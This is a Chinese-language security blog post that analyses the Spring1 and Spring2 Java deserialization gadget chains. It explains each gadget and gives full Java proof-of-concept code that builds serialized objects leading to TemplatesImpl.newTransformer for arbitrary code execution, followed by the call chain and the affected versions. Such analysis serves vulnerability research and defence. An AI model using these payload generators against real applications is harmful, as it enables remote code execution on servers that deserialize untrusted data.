Spring 反序列化

Spring 反序列化

Ko1sh1

Spring1反序列化

环境

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

MethodInvokeTypeProvider

在 Spring 核心包中存在这样一个内部类:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider,这个类实现了 TypeProvider 接口,是一个可以被反序列化的类。

readObject代码如下,调用了ReflectionUtils.findMethod获取Method对象,调用invokeMethod执行方法。无参调用,如果可以调用到TemplatesImpl.newTransformer即可完成反序列化链了。

1
2
3
4
5
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

假如我们的 this.provider.getType() 和 methodName 可控,这里就可以将 getType 写成是templateImpl的类,methodName要是能处理为 newTransformer 的话,这里就可以执行任意代码了。

ObjectFactoryDelegatingInvocationHandler

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 是 InvocationHandler 的实现类,实例化时接收一个 ObjectFactory 对象,并在 invoke 代理时调用 ObjectFactory 的 getObject 方法返回 ObjectFactory 的实例用于 Method 的反射调用。

img

当我触发代理的方法不为 equals、hashCode、toString时,就能对getObject返回的对象触发代理方法。

ObjectFactory 的 getObject 方法返回的对象是泛型的,那就可以可用 AnnotationInvocationHandler 来代理,返回任意对象。

而 ObjectFactoryDelegatingInvocationHandler 自己本身就是代理类,可以用它代理之前的 TypeProvider 的 getType 方法。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.springframework.beans.factory.ObjectFactory;


import javax.xml.transform.Templates;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class Spring1 {

public static String fileName = "Spring1.bin";

public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = Reflections.generateTemplatesImpl();

// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

// ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
// 并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl
// 接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);


// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);


// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");

SerializerUtil.objectFileSerialize(objects,fileName);
SerializerUtil.objectFileDeserialize(fileName);
// SerializeUtil.writeObjectToFile(objects, fileName);
// SerializeUtil.readFileObject(fileName);
}
}

Spring2反序列化 – Java版本有限制

Spring2 在 Spring1 的触发链上有所变换,替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

前置知识

JdkDynamicAopProxy

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。

我们来看一下 invoke 方法,获取 AdvisedSupport 里的 TargetSource,并调用 getTarget() 方法返回其中的对象。

img

调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回。

img

方法里就是简单的反射调用。

img

由此我们可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类可以出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链。

攻击构造

与 Spring1 类似,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class Spring2 {

public static String fileName = "Spring2.bin";

public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);

// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl
// 并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl
// 接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
aopConstructor.setAccessible(true);
// 使用 AdvisedSupport 实例化 JdkDynamicAopProxy
InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);

// JdkDynamicAopProxy 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, aopProxy);


// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);


// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");

SerializeUtil.writeObjectToFile(objects, fileName);
SerializeUtil.readFileObject(fileName);
}

}

总结

以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下。

  1. 利用说明:
    • 使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链。
  2. Gadget 总结:
    • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
    • chain gadget:org.springframework.aop.framework.JdkDynamicAopProxy#invoke()
  3. 调用链展示:
1
2
3
4
5
6
7
8
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod()
Templates(Proxy).newTransformer()
JdkDynamicAopProxy.invoke()
AopUtils.invokeJoinpointUsingReflection()
TemplatesImpl.newTransformer()
  1. 依赖版本

spring-core : 4.1.4.RELEASE
spring-aop : 4.1.4.RELEASE
jdk 1.7(或低版本下的jdk1.8) 主要原因还是 AnnotationInvocationHandler 的问题,版本高了用不了

  • 标题: Spring 反序列化
  • 作者: Ko1sh1
  • 创建于 : 2022-03-05 15:44:17
  • 更新于 : 2024-05-30 21:31:43
  • 链接: https://ko1sh1.github.io/2022/03/05/blog_java spring反序列化链/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论